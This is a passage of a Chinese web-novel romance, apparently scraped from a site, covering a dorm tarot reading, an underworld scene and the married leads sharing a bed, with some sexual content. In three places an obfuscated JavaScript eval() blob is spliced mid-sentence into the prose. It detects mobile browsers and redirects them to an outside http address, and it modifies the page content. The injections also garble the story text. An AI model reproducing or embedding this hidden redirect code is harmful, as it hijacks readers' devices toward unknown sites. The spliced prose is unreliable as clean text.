“不过信不信看你自己哈,反正看你这性格,也猜不到是谁暗恋你。” 阮新元忍俊不禁,“他确实应该看不出来。” 趁着蒋其风脸红的这会儿,方又知使了个眼色,“小元,你玩不玩?” 阮新元从前对于玄学一概不信,连他外婆是个当地有名的神算子他都是个坚定的唯物主义者。 只不过自从玄子命显灵后,他开始不得不信了,只不过对塔罗还是一般般。 但是大家都在玩,他也不好意思扫兴,何况曹毅看上去真有两把刷子。 “我也不知道该测什么。”阮新元说。 “咳咳,”方又知凑在他耳边悄咪咪提议,“小元,你不是结婚了吗,你可以问问你老公喜欢你到什么程度啊!” 啊……戚寻还不喜欢我,顶多有点好感。 阮新元毫不犹豫地在心里回答。 哪知曹毅是个耳朵灵的,方又知又是个悄悄话声音不小的,对方一听眼睛瞪得像大灯泡,“新元你居然结婚有老公了啊,没想到啊,居然有人这么快就把你拿下了!” 曹毅虽是震惊阮新元这么早就结婚了,倒也是没多问,很有分寸。 方又知见状求原谅,朝着阮新元对手指,阮新元无奈一笑,没觉得有什么,于是顺着那个问题说:“那麻烦学委你帮我算算吧,我老公喜欢我到什么程度。” 权当玩儿了。 曹毅再次洗牌,“行,来吧,默念这个问题三遍,再随机抽取三张牌。” 阮新元依言照做,闭上眼睛,默念了三遍上面那个问题。 然后没怎么犹豫地随手选了三张牌,看上去一点都不紧张答案的样子。 落在他人眼里,像是对自个老公喜欢自己的程度很有信心。 曹毅依次翻开牌,瞳孔骤缩。 他一时间没说话,阮新元垂眸去看那三张牌,只看得出其中一张应该代表的是……死神? 果然是不喜欢吧,好像也不是很有好感的样子? 说不上难过,但阮新元心里隐隐有点小失落,这点失落他自己都未曾察觉。 不过玄学而已,也不是那么可信。 严康良观察着阮新元的表情,拍了拍曹毅的肩膀,提醒人快点说。 “这第一张死神有彻底放下过去重生的意思,第二张倒吊人在感情里则代表牺牲、奉献的爱,最后一张力量牌,也体现出爱到底的决心、永不让步的决绝……” 曹毅咽了咽口水,“也就是说,新元,你这老公,居然是爱你到愿意为了你付出生命的程度啊!” 阮新元猛地抬眸,睫毛扑闪,眼里写满了不可思议。 17.老公的威力 爱他到甚至心甘情愿付出自己的生命? 阮新元不敢想这样的答案。 不说他和戚寻认识没多久,对方也确实明说过还不喜欢他,更别说在二十一世纪,还有谁愿意为了爱人付出生命的。 就算有,那也太少太少了。 在文娱作品里有这种角色都要被喷成没救的恋爱脑。 这个答案比方才他猜测戚寻对他没什么好感不可信多了。 “事先声明,我在算这方面的塔罗,真的很少翻车,几乎没有。”曹毅也知道这个结果非常夸张,他先给自己叠了个甲。 不只是阮新元本人震惊,剩余的其他三个人也很震惊。 “我去啊元哥,你老公不仅长得帅还那么爱你,你的眼光真不错啊!”蒋其风没忍住嗓门都大了点。 严康良叹一口气,心事重重地摇摇头,“同寝不同命啊。” “这真的是……”方又知瞪着眼睛看向阮新元,一时间都不知道该说什么表达内心的惊讶。 他是寝室里唯一一个知道阮新元老公是对方倒追成功的人,所以此刻更加震撼了。 阮新元倒追没几天就成功直接结婚了不说,对方还爱他爱得死去活来? 啧啧啧,如果说曹毅这塔罗准的话,当真是闻所未闻。 “方哥到你了,你也算一个吧。”阮新元笑了一下,表面上很淡定,开始转移话题。 蒋其风一听果然被带走了思绪,也开始怂恿方又知,“对对对,我们仨都算了,就差你了。” 方又知思路被打断,只好应付起催促来,“好好好,那我也算一个吧,那我也算算有没有人喜欢我吧!” “可以可以,等着!”曹毅把三张牌收回,重新洗牌准备下一轮抽牌。 “唰唰”的洗牌声夹杂着几人的碎语,而阮新元此刻像坐在真空的环境里,四周只环绕着脑海刚刚曹毅说的最后一句话,那个匪夷所思的结果。 本来就不可能不是吗…… 用脚趾头想想都知道,倒也不必太纠结。 塔罗终归只是塔罗,不能代表现实。 “哈哈哈哈!方又知你真的是寡王了!估计得是我们寝最后一个脱单的了。”蒋其风猖狂的笑声撕裂了真空的薄膜,把阮新元拉回神。 严康良幸灾乐祸,“看你没人喜欢我也就放心了,不能只有我一个人伤心。” “嘿你俩滚蛋,搞得好像你们有对象了一样,说不定还是我先交到女朋友呢!”方又知佯装要动粗,却也只是轻轻锤了他身边的蒋其风一拳。 曹毅拿出手机看了眼时间,边洗牌装回盒子里边说,“快十点了,我回寝洗漱了,你们要是还想算,记得周末来支持我摆摊,给我撑场面!” 阮新元想到刚才蒋其风提到的秋日游园会,若有所思地问道:“游园会地点在哪,办多久啊?” “就在知行广场,周六下午一点半开始到晚上九点,周日时间一样,摆两天。”曹毅收拾好了塔罗牌。 “行,放心,一定来。”蒋其风和人挥手,严康良站起身送人出门,顺带把寝室门给关上。 “你们别说,我还是第一次接触塔罗这种东西,其实我以前不怎么信,结果今天算出来康良暗恋对象性取向这事,我当时真觉得神了……”方又知还在絮絮叨叨。 蒋其风陷入回忆,当时脸都要笑僵了,可谓是不厚道,把场面描述得绘声绘色,“是没想到啊,太戏剧了,怎么能曹毅刚算完结果那女生就发朋友圈啊,老天奶太会跟严哥开玩笑了!” “呵,”严康良冷哼一声,“你们俩就幸灾乐祸吧,诅咒你们喜欢的都是同性恋,喜欢你们的异性恋还没出生。” “好恶毒的诅咒!”蒋其风作势要掐人,最终被阮新元笑着劝架。 “你们要是还想算,我可以让我外婆给你们算八字,她在我们那边是有名的神算子,财运健康感情什么都能算,而且特准。”阮新元坐回原位喝了口水,开始宣传起自家外婆。 “哇,新元你外婆还有这技能,行——”方又知伸了个懒腰,往厕所走,“下回有机会就找外婆算算,说不定算出来我能暴富!” “我也要预留个名额。”蒋其风被塔罗搞得对这方面热衷起来。 阮新元歪头笑着,“放心,一个个来。” 他转过凳子面向桌面,撑着脸垂眸盯着脚边的白玫瑰花束走神,突然想到现在已经过了该发病的时间段,而他确实安然无恙。 那么就真的证实了他外婆说的…… 和命定之人的肌肤之亲,为良药。 不过比起刚推测出这个结果时的尴尬,真证实了阮新元还是先松了口气,他还怕没用呢,要不然不是白结婚了,白白耽误戚寻的姻缘。 不知道能不能坚持到明天的这个时候不发病。 他边思索着边把视线挪到电脑上,准备把之前已经在群里讨论过的策划方案进行简单总和。 十几分钟后,方又知已经洗漱完毕,写完策划案的阮新元见蒋其风又在吃苹果、严康良又在打游戏,他起身第二个去洗漱。 浴室内的雾气还没散尽,厕所内的镜子被蒙住了湿湿的一片,阮新元抽了张纸巾擦出一小块区域,在镜子里看清了自己的脸。 他把纸巾丢进垃圾桶里,脱掉上衣,随即“啪嗒”一声,有东西跟着短袖的摆动,掉落在他的胸口,阮新元放慢了动作,低头拿起脖子上挂着的银戒。 他看着环内的“X”走神,摩挲了片刻后放下,转身扭开洗澡水。 温热的水流浸润在他的肌肤,阮新元开始放空自己,不再去想那个不可置信的塔罗结果。 * 南阎地府,司命阁。 “殿下,自老夫接手司命阁后的三千年到如今,尝试补全凡人所失魂魄的案例不少于百件,”周居仪站在戚寻的身侧,蹙着白眉,语调缓慢,“但成功的,寥寥无几。” 戚寻面无表情,走到案台后坐下,“寥寥无几……那意思是也有人成功。” “这……”周居仪摸了摸半米长白胡子,态度犹豫,“有是有,但……” “但说无妨。”戚寻随意抚摸着案前的卷宗。 周居仪没办法,纵横在脸上的皱纹堆成一重重山,无奈说下去。 “这唯二成功的事件,一件发生在两千年前,一位书生高中不久,唯一的亲人却被官吏所残害,其母生前怨气极深,死后不愿入黄泉,最终导致转世时没了代表怒、哀的伏矢和雀阴两魄,在人间轮回每一世都饱受欺凌。书生为母杀仇后自尽,到了地府知晓此事,在中渊大帝殿前叩拜了整整三百年,鬼身流尽了血泪,最终在殿前消散,阴差阳错地补全了其母缺失的部分。” “这第二件,则是在一千多年前,兔尾草成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15159647|164244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 精的小姑娘被一会医术的女子在采药时所救,女子后来却被土匪恶男所伤,服用毒药自尽,兔尾草将仙缘渡给了本该缺失爱欲两魄的女子,终不得转世,成了天地间再普通不过的一株草。” 周居仪边说边叹气摇头,“这两件,都是一命换一命的结果,也都是命数所在,因果循环,而且他们所失的皆为七魄中的几魄,而殿下您这位缺失的……是魂。” “魂主宰人之精神,这么多年来,确实是没人成功过,也无任何记载可尝试补生人之魂的办法,甚至我们也无从知晓,他缺失这魂,在人间会是何种结局。” “换句话说,殿下就算您心甘情愿以命换命,也不一定行得通啊。” “殿下,我们虽在地府有所权,但永远也无法凌驾于天命之上,若是一意孤行,别说是两全法,就是今生也会不得善终,老夫愿殿下此番在人间,与良人,幸度一生,便是最好的法。” 戚寻眼里的波澜化作冰霜,他脊背绷直,放在身侧的手紧握成拳,青筋暴起。 活了几千年的司命使都无法,亦在规劝他顾全当下便好…… 这无法掌握命数的脱离感,几乎要将他碾得粉碎。 他甚至有一瞬间的怀疑和恍惚,当初自己熬过漫长的炼狱之苦,如今见到的所爱之人却命数不定,这到底值不值得。 阁内死气与沉默一同蔓延,周居仪躬着老腰,一言不发。 “我还有一个问题。”戚寻声音沙哑。 周居仪作揖,“殿下请问。” “缺失地魂的凡人,死后当如何?”他松开握成拳的手掌,惨白的掌心溢出金色的血液,却无人知晓。 “回殿下,和其他死去的凡人无异,都会下黄泉、过忘情桥,再饮三生水,忘记生前在凡间的一切,直至下一个轮回。”周居仪一字一句地说道。 戚寻闭了闭眼,“好的,我知道了。” * 周五,晚上八点,盛都朝园。 “元,咋样,那方法有用不?”乔斯明的声音隔着屏幕传来。 阮新元靠在床头,吃着戚寻给他切好的鲜橙,“特别有用,我那天只是和他牵了两回手,加起来估计不过半小时吧,我两天没痛。” “这就是你命中注定老公的威力吗?”乔斯明啧啧称奇。 “不过我估计支撑不到三天,我今天刚搬好东西住进他家,这会儿正在绞尽脑汁想怎么和他做些亲密的肢体接触呢……”说起这个阮新元就头疼。 那天他还说牵手不是什么大不了的事儿,结果过了一天,当戚寻又站在他面前的时候,他又猫起来不知道怎么挥爪了,总觉得没找到好时机,最后只好装模作样好兄弟似的拍了拍戚寻的肩膀。 乔斯明又开始出谋划策,“我有个办法,你可以试试。” 阮新元坐直身体,洗耳恭听,“你说。” “嘻嘻嘻嘿嘿嘿……” 乔斯明突发恶疾,邪恶地笑了两下,笑得阮新元浑身恶寒。 “你等他睡着了,偷偷干什么不行!当然是趁机会‘一不小心’滚到人怀里,再一不小心——” “亲他啊!” 阮新元耳朵要被乔斯明震聋了,他刚想开口谴责,卧室本就虚掩着的门恰好在这时被推开。 他愣愣地看向门口,穿着浴袍的戚寻,一脸天真样,疑惑地歪头问:“要亲谁?” 18.别怕 “那个,亲……亲嘴烧。”阮新元二话不说掐断了电话,把手机埋进被子里,悄摸在心里狠狠拉黑大嗓门的乔斯明。 “那啥,乔斯明和我说,有个牌子的亲嘴烧很好吃,在怂恿我下单呢。” 他吐吐舌,脸却完全不受控制地红了。 “我刚想和他说自己不吃这种垃圾食品,他自己就先挂了,估计私下蛐蛐我没品呢。” 阮新元胡说八道,信口雌黄,反正乔斯明不在场听不着。 “偶尔吃点也没关系。”戚寻像是接受了这个不那么自然的解释,没有深究阮新元红着的脸,温柔地朝对方笑,非常善解人意。 他走到阮新元身边,把果肉全被消灭完的玻璃盘端起,用手指敲了敲盘子边缘,问道:“还想吃吗?” 阮新元乖乖摇头,他已经吃完整整两个橙子了,今日份摄入量已满足,“够啦,下次再吃吧。” “好。”戚寻把盘子端走,房间内一瞬间又安静下来。 阮新元大口呼出一口气,用手背给自己滚烫的脸降温,重新打开手机。 毫不意外地,乔斯明在电话里听到了几秒热闹,发来一连串消息。 【小明同学:卧槽啊元,你老公不会听到了吧?哎呦真的听到了?我去啊他真的听到了!sorry!我真的不是故意的!】 【小明同学:亲嘴烧哈哈哈哈!元你反应够快啊笑得我咕噜咕噜的,对不起!我忏悔!哈哈哈哈没忍住私密马赛……】 阮新元无语了,他一边快速敲着键盘,一边用余光留意门口。 【多财多福金元宝;算了算了,你下次嗓门小点!不聊了,我老公他又进房间了。】 打完这句话他就把手机又收回去了,丝毫没有深想为什么自己打“我老公”这三个字的时候那么一气呵成。 “现在时间还早,无不无聊,要看电影吗?”戚寻端了杯葡萄汁放在床头柜,然后坐到了一旁的沙发上。 阮新元立起身子,拿起杯子喝了一口,酸酸甜甜,他摸了摸后脑勺被压过的头发,看向对方,“在房间看吗,还是?” “都可以,看你,主卧这边也有投影仪。”戚寻从茶几底下拿出一个遥控器,按下开关。 阮新元仰头端详床对面的白墙,没几秒钟上面显现出屏幕。 “那就在这吧!”他有点兴奋地改成了趴着的姿势,自如地像是在戚寻家里住了很久。 “看什么?”他转过头眨眨眼问戚寻,声音很慵懒。 戚寻站起身走近,把遥控器递给了他,“你选想看的吧,我还有些工作要收尾,待会儿再过来。” 感情就是单纯怕他无聊,来“哄”他自娱自乐的。 阮新元握着陶瓷杯心想。 戚寻说完这句话,弯腰凑近阮新元,修长的五根手指插入对方柔软的黑发,揉了两下。 持续不过两秒,戚寻走近时还带过一阵柑橘味的风,短暂被抚摸脑袋的感觉很奇妙,阮新元竟浑身颤了一下,还下意识眯了眯眼。 更像猫了。 戚寻喉结滚动了两下,意犹未尽地收回手,指尖残留着柔软的触感。 “啊,好。”阮新元捏着遥控器的那只手微微收紧,后颈背着主人悄悄变红,升温的皮肤告密,他情不自禁地摸了两下。 等戚寻走出卧室轻声关上门,他放下杯子,又鬼使神差地伸手像戚寻刚刚那样揉了揉自己的脑袋。 很平常,没有方才那样浑身过电般的酥麻感。 好奇怪…… 他把脸闷进被子里,冷静了一会儿,重新抬起红彤彤的一张脸,下巴撑在被子上,开始找起电影来。 最近刚上线流媒体的电影不少,阮新元随意点开一部之前就有点想看但没机会去电影院看的喜剧片。 不知是电影不尽人意还是他三心二意,阮新元时不时走神,连该哈哈大笑的情节都漏了过去。 等他意识到这点的时候,将近两个小时的电影已经接近了尾声,杯中的葡萄汁也被饮尽。 戚寻的工作还没收尾完成吗…… 他翻身躺在大床上,盯着天花板的一个点走神片刻,过了一会揉了揉有些疲惫的眼睛,又翻了个身坐起来关掉了投影,白墙上的色彩光亮随之消失。 今晚得益于白天那兄弟般地一碰,自己没有发病,但明天怎么办? 说好了要约会,直接和上次一样脸皮厚点牵手? 到时候在电影院牵个整场的……不行,这有点太难为人了。 他因绞尽脑汁思考而混沌脑海里突然劈来乔斯明电话里的大嗓门—— “当然是趁机会一不小心滚到人怀里啊!” 靠。 阮新元掐了下自己的脸,越想越觉得这个办法看似不靠谱实际上可行性很强啊。 毕竟谁能控制自己睡着以后做的事情呢? 那说是不小心,就是不小心咯! 乔斯明那小子还是有点东西的,那么多恋爱没白谈。 阮新元振奋起来,在房间里来回踱步,思索了一会准备去“刺探敌情”。 阮新元蹑手蹑脚地打开门,侧过身探头探脑看了眼隔壁书房。 书房的门紧闭着,门底的缝隙流出冷白色的灯光,他小心翼翼地贴近门板,听见里面传来机械键盘的清脆声响。 看来还没结束工作,如果他现在敲门,会不会打扰到对方。 阮新元又陷入了犹豫。 以至于他蹙着眉头的功夫没听清屋内的键盘声停了。 “咔嗒——” “你……” 凑在门前的阮新元和毫无预兆打开门的戚寻面面相觑。 “怎么了小元,你有事找我?”戚寻眼中的惊讶稍纵即逝。 “呃,那个,”阮新元跟兔子似的因受到惊吓而瞪大眼睛,然后开始装作自己很忙的样子,不过这回他打算实话实说,他抠着门缝轻声说,“我就是想问问你什么时候休息……” “这次想等你一起睡。” 他这句话说得直白,漂亮的眼睛直直撞进戚寻的瞳孔。 一时间没人再说话,氛围开始变得微妙。 “为什么。”戚寻往前挪了一小步,把阮新元逼退到后背抵到墙面。 为什么? 等着你睡着“一不小心”抱你呢。 显然这个答案不能明说,阮新元抿了抿嘴巴,眼神飘忽起来,“我刚刚不信邪看了个恐怖片,现在有点害怕……” 他在心里腹诽自己对戚寻撒谎的功底见长。 “所以想有人陪着嘛。” 刚走神看完喜剧片的阮新元这会儿倒是脸不红心不跳了。 戚寻垂眸,一寸一寸地用目光描摹着面前人的眉眼、翘鼻和红润的嘴唇。 不用仔细分辨也知道这张嘴吐露出来的话语亦真亦假。 但他不在乎那些,阮新元说需要,那就是要。 因为靠得很近,所以戚寻再次闻到对方身上的香气,和自己身上的如出一辙。 共享一个味道在凡人看来是很暧昧的事情。 意味着两个人不同于他人的亲昵。 戚寻没忍住轻轻吸了一口,空荡的心轻而易举就填满。 “嗯,我好了,陪你休息。”他低声回应,退后了一步。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15174275|164244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 阮新元松了口气,放下心,蹦跳着先行溜回房间,“那我先去刷牙洗脸!” 不过五分钟,他就洗漱完毕走出了浴室。 此时的戚寻已经躺在了床的一边,在平板上敲击着什么。 阮新元没打扰对方,慢悠悠地走到床有点乱糟糟明显躺过人的另一边坐下。 然后拖鞋、掀起被子、躺下,一连串动作后,侧过身,眼巴巴地看着戚寻。 这是他第一次清醒状态下和对方同床共枕,枕边人清俊的侧颜有一种令人难以挪开视线的魅力。 戚寻如有所感,把平板关闭放到一边,语气温柔得能化成水,“还怕吗,要不要再留一盏台灯?” 阮新元不知为何心跳得有点快,他把这归结于自己方才的谎话。 原来生理反应告诉自己,他还没习惯对戚寻说谎。 这一切都是他自欺欺人。 “没事,你关吧。”他把半张脸埋进被子里,露出水润漂亮的眼睛。 阮新元在灯彻底被关闭坠入黑暗后,又悄咪咪改了主意。 既然戚寻对他这样纵容,那他再过分一点,应该也会是在得寸进尺的范围内吧? 反正肯定不会让他简单的愿望落空。 所以睡梦中自己的一不小心,肯定也是在戚寻范围内。 他可以贴得再近一点…… 房间内寂静无声,阮新元只能听见窗外吹过的风声带动树叶沙沙作响。 他感受到床另一头的陷落,猜测戚寻在这时躺了下来。 他们之间隔了一个手臂长度的距离,阮新元一动不动,在黑暗里依旧睁着圆溜溜的眼睛,试图分辨戚寻此时的状态。 灰蒙蒙的月光隔着轻纱隐隐照进来,他小心翼翼地往里面挪动了一点身体,企图不引起对方的注意力。 不知道过了多久,阮新元眼皮子都开始打架,身边终于传来平稳的呼吸声,他艰难地克制住困意。 显然现在是一个最完美不过的时机。 灰暗的月光朦胧地照出戚寻的脸,对方此刻面对着他,闭着眼睛。 睡意被驱散了一些,阮新元强撑起精神,又往里面挪了挪身体。 时间在不知不觉中流逝,他也在不知不觉中靠近着对方。 终于,阮新元不经意一抬手,指尖触到了戚寻的手臂。 他像摸到一块冰,很快缩回手,心跳如遭鼓击怦怦跳,这是紧张的代表,此刻的他好像站在测一千米的跑道前。 他像一个盗窃的小偷,偷的却不是财物,而是合法丈夫的怀抱。 心跳声太过吵闹,阮新元怕贴近了会惹醒对方,他只好小心再小心的,把头低垂下来,轻轻靠在戚寻的胸口,柔软的发丝蹭在对方的白色浴袍上。 一颗悬浮的心终于要落地—— “还是害怕的话,要抱吗?” 磁性好听的声音止住了阮新元心跳声的喧嚣。 糟糕,被抓包了。 他下意识憋住了一口气,又很慢很慢地呼出。 阮新元不想再用自己糊住的脑子思考为什么戚寻在这个时候突然又醒了。 他只能感谢黑暗的环境把他的窘态掩盖得很好,然后恋恋不舍地从戚寻的怀里退开。 蹭到一点,也是一点。 阮新元安慰自己。 出乎意料的,下一秒,手腕被抓住。 阮新元怔愣着,腰在时刻被缠绕上一只手,是陌生又熟悉的……温热的触感。 戚寻的手从腰攀到了他的后背,轻轻拍了拍,将一整个他搂进怀中,低声哄着。 “没关系,别怕。” 19.君心我心 阮新元觉得此刻的自己有点糟糕,因为他不仅忘了刚才应该装睡,还被人“反客为主”搂进了怀里。 他脑海像袭来一阵飓风,卷走了一切思绪,让他不知道现在该作何反应。 腰上的触感变得越发明晰起来,从温热渐渐成了滚烫,明明戚寻并没有真正触碰到他腰上的皮肤。 他呼出的气无序地喷洒在戚寻的胸口,半露不露的浴袍遮挡住了一部分滚烫,还有一部分在黑暗中潜入对方的锁骨往下。 紧促的心跳声还在继续,似乎比刚才还要吵闹,在阮新元的胸腔里出演着一台喧闹的独角戏。 他强制自己冷静下来,整个人却不受控的越来越清醒,连一直等待的困意都在这个拥抱间骤然消散。 好似戚寻的怀抱不是安抚他的解药,而是要命的燥动剂。 戚寻在搂住他之后也没再多说什么,只是依旧轻轻地拍着他的腰,动作很轻,也很有节奏。 这是阮新元第一次和人这么亲密地睡在一起,还是有点别扭的搂抱姿势,如果没有衣物相隔,那么他们的肌肤会贴得更近,远超他以往经历过的亲密举动。 月亮的光漏进来了更多,阮新元好像隐约看清戚寻搂住他那只手臂的青筋,还有对方那张无法让人挪开目光的侧脸。 房间内太过安静,只剩下两人的呼吸声,戚寻拍着他腰的手停了下来,轻轻搭在上面没有再动,像是又睡了过去。 反正都已经这样了,那干脆……再近点吧。 一切都为了活命。 阮新元这样想着,慢慢放松了有些僵硬的身体,用柔软的发丝往前蹭了蹭。 紧接着抬起自己的一只手,慢慢地搭在了戚寻的腰上,把另一只手按在了对方浴袍的领口处。 等他调整到一个最舒适的姿势,他们两个人的身体已是亲密无间,像再也无法被分开的锁扣。 柑橘的清香总是令阮新元感到无比安心,怀抱在他的忐忑踌躇间从有些陌生到熟悉,睡意重新卷来,没过多久,他终于沉沉睡去。 待到耳边的呼吸声彻底平稳,戚寻缓缓睁开了眼,他在黑夜里清晰又贪婪地盯着怀抱中阮新元的脸,搭在对方腰间的手微微颤抖。 很近,很意想不到,像一场百年来重复坠入他脑海的好梦。 那天他只能用鬼身将人的从头到尾抚摸个遍,狠狠纠缠却又拥不住真正的人,对他来说终究只是扬汤止沸。 而这一次,美梦却直接落在了他怀中,他从前求不得,如今轻而易举便得到了很多。 阮新元亲昵的称呼、温热的手还有带着香气的怀抱。 他一边沉沦在这样的甜蜜当中,一边清醒又冷漠的明白这一切也都不是真的。 阮新元为什么一定要接近自己,求得自己的怀抱呢? 是否还想要从他这里索取更多? 比如他身体的每一个部分、他的一整颗心…… 这些他都给得起,只想知道这背后的真相。 因为怀中人额头的红鸾,依旧黯淡,硬要说的话,有一丝光,但很微弱,只能代表对他有些好感,仅此而已。 很多时候比起阮新元接近自己的快感,他后知后觉更多的是对于对方并不喜欢自己却还要接近自己无可奈何的心疼。 如果可以,请你心悦于我吧。 戚寻在心中默念,低头吻了吻怀中人的额头。 吻完后他闭了闭眼,将熟睡的人搂得更紧,又怕睡梦中的人感到不舒服,小心翼翼地掌控着力度,一夜未眠。 护怀中爱人,美梦一生。 * 阮新元刚在迷蒙中缓缓苏醒,映入眼帘的就是一大片……腹肌。 他几乎是一下子就清醒了,猛得挪开视线,然后一动不敢动。 腰上的触感还在,说明戚寻维持着抱他的姿势整整一个晚上。 他还来不及震惊,就感觉到自己的胸口也有点凉。 阮新元疑惑地小幅度低下头一看—— 看到了项链串着的戒指,还有白花花一片。 不知道什么时候,他的袍子也在睡着时松了,带子松松垮垮地落到床单上,稍微一动,就…… 一大清早本来就容易出点什么他自我意识不怎么能控制的事情,结果现在倒好,直接火上浇油。 阮新元的耳朵红得能滴血,他的眼神不自觉地乱飘,又是扫过戚寻面向他的部分,他想挪开又控制不住地挪回来。 或许是因为他太焦急,灼热感一直消不下去,甚至有愈演愈烈的趋势。 阮新元只好接着靠在戚寻身上,闭着眼睛装睡,准备熬到反应完全下去了为主。 好巧不巧,戚寻却在这个时候动了。 对方的脚踝不小心蹭过他的小腿肚,阮新元明显感觉被硌了一下,他趁此机会皱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15176169|164244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了皱眉,动了一下,准备从戚寻怀里退开,再装模作样地翻个身。 下一秒,他还没来得及庆幸自己翻身成功,后背就被贴紧了,腰被重新环住。 阮新元背对着戚寻一下子睁开了眼睛,眼里盛满了不可置信。 这个姿势与昨晚的面对面拥抱不同,却让他觉得自己被戚寻拥得更紧了。 他就像一颗珠子,被紧紧捏在了某人的掌心。 窗外的阳光洒进来,屋内明亮一片,再没有黑暗的遮蔽,他因羞赧窘迫而变色的一切都被暴露在外。 比如拂过戚寻气息的耳垂、咬过后湿润的嘴唇、被抵住的后腰还有摩挲过床/单的膝盖…… 还有不省心的一些地方。 这让阮新元恨不得把自己蜷缩成一只球状的小猫,只剩毛绒绒的外衣,不需要给予人类回应。 他只好先悄摸把浴袍的腰带重新系好,胸/口的光景被布料重新遮住,这让他短暂的松了口气。 戚寻……醒了吗? 阮新元的脑海里现在只剩下这个问题。 应该没有吧,如果醒了就不会这样再抱着他了。 没想到戚寻原来喜欢抱着东西睡觉,这么一想,他们好像又公平的各取所需了。 阮新元一边胡思乱想一边不自觉放松了身体,经过一个晚上,戚寻的怀抱对他来说也算是安眠乡,不至于像一开始那样令人难以适应。 他往后塌了下腰,突然感觉到了什么东西,是不属于他的…… 触感有些不太舒服。 等等。 这是? 阮新元骤然反应过来,戚寻现在和他处在同样的尴尬处境,而人家还睡着觉呢! 他慢慢退开,撑起了一点身体,没来得及做什么,身后在这时传来熟悉的沙哑的声音。 “小元,你醒了?”戚寻松开了自己的手,“早。” 阮新元慢吞吞地翻过身,咽了咽口水,“早。” 他打完招呼,还是没忍住往戚寻的蓬起的地方看了一眼。 这一眼被戚寻捕捉,他顺着阮新元的目光低头,然后无奈地笑了一下,用大手捂住了阮新元的眼睛,“不好意思,我先去解决一下。” 戚寻刚准备掀开被子站起身,手腕却被拉住了。 阮新元和人对视,迟缓地眨眨眼,鬼使神差地说了一句,“那个,要不要……我帮你。” 20.秘密,熟悉 戚寻停住了动作,站在原地俯视着阮新元。 微妙的氛围在二人间蔓延,阮新元稍稍松开了些手,身体往后退了一点,侧过脸低下头垂眸。 “我……” “小元。”戚寻第一次打断阮新元说话,他忍着发/胀的痛凑近不敢抬眼与他对视的人,反客为主地扣住对方的手腕。 被锁住的手腕处肌肤变得滚烫起来,阮新元扑闪的睫毛落下一片阴影,他回应的声音微颤,也很轻,“嗯?” 他开始神色恍惚,开始反思自己太过轻浮。 其实他也不怎么会这门手艺,还帮戚寻……真的太不害臊了。 果然还是被活命求生的意志给残害了。 搞得他人心黄黄。 “下次吧。”戚寻定定看了他几秒,没什么预兆的一下子松开了抓着阮新元的手,然后把身上的袍子重新系紧,敞开的肌肤被遮住,接着走去了浴室。 下……下次? 阮新元看着那道修长的背影走入并不隐秘的玻璃后,模糊地瞧见戚寻的剪影。 所以,戚寻不排斥他要做的事情? 是因为单单不排斥他的主动,还是因为身为有生理需求性/功能正常的男性不排斥和结婚对象有亲密接触呢? 这对他来说重要吗? 好像不重要,但他陷入钻牛角尖,如果是后一种可能……他的心就会像缺失了一小块,且很难被再填满。 不过他之前还以为戚寻是个很禁欲的人呢,现在看来…… 他坐在床上抱膝,把红润的脸埋起来,深呼吸几口气,耳边好像传来了一阵有些低沉的粗喘。 浴室的隔音效果好像有点差。 没过一会儿,阮新元终于还是没忍住抬头往边上看去,朦胧的玻璃后,他看见戚寻仰着头,喉结突出,肌肉一如既往的漂亮有型,大手伸在下处,模糊一团运作着…… 意识到戚寻真的是在解决问题之后,阮新元默默转了个身,背对着浴室,不敢再看。 再看的话保不齐他又要…… 不过隐隐约约好像看到戚寻的那个,非常可观。 这都什么和什么? 阮新元又把脸埋进柔软的被子里。 不知道过了多久,喘息停止了,浴室传来水流声,意味着戚寻的清晨运动也已经结束。 阮新元换了个姿势,趴在床上看了眼时间,对于周末来说现在还算早,不过九点,他开始玩微信小程序里的开店小游戏。 安排的电影在下午一点半,他们还有很充裕的时间可以做些别的事情。 “咔嗒——” 戚寻神色自若的从浴室里走出来,他已经换好了一身简单的便服,白色短袖和黑色休闲裤。 “我去给你做早餐,你慢慢洗漱。”他走到床边,又很自然地摸了摸阮新元的脑袋。 “好。”阮新元仰头看了戚寻一眼,总觉得对方把自己当猫rua,但自己没有证据。 戚寻离开房间又过了一会儿,阮新元终于恋恋不舍地退出游戏,从床上离开去卫生间。 他刚踏进去一步,在闻到浓郁柑橘香的瞬间,想到了刚刚戚寻在浴室里做的事情,一下子感觉这地方让人有些待不住了。 阮新元捂了捂脸,用水扑了两下清醒清醒,强迫自己别再去想。 等他洗漱完换了身嫩黄色的运动休闲套装走出房间,闻到一股鲜香,他好奇地往餐桌看去,热气飘荡开来,是两碗让人口水欲滴的馄饨。 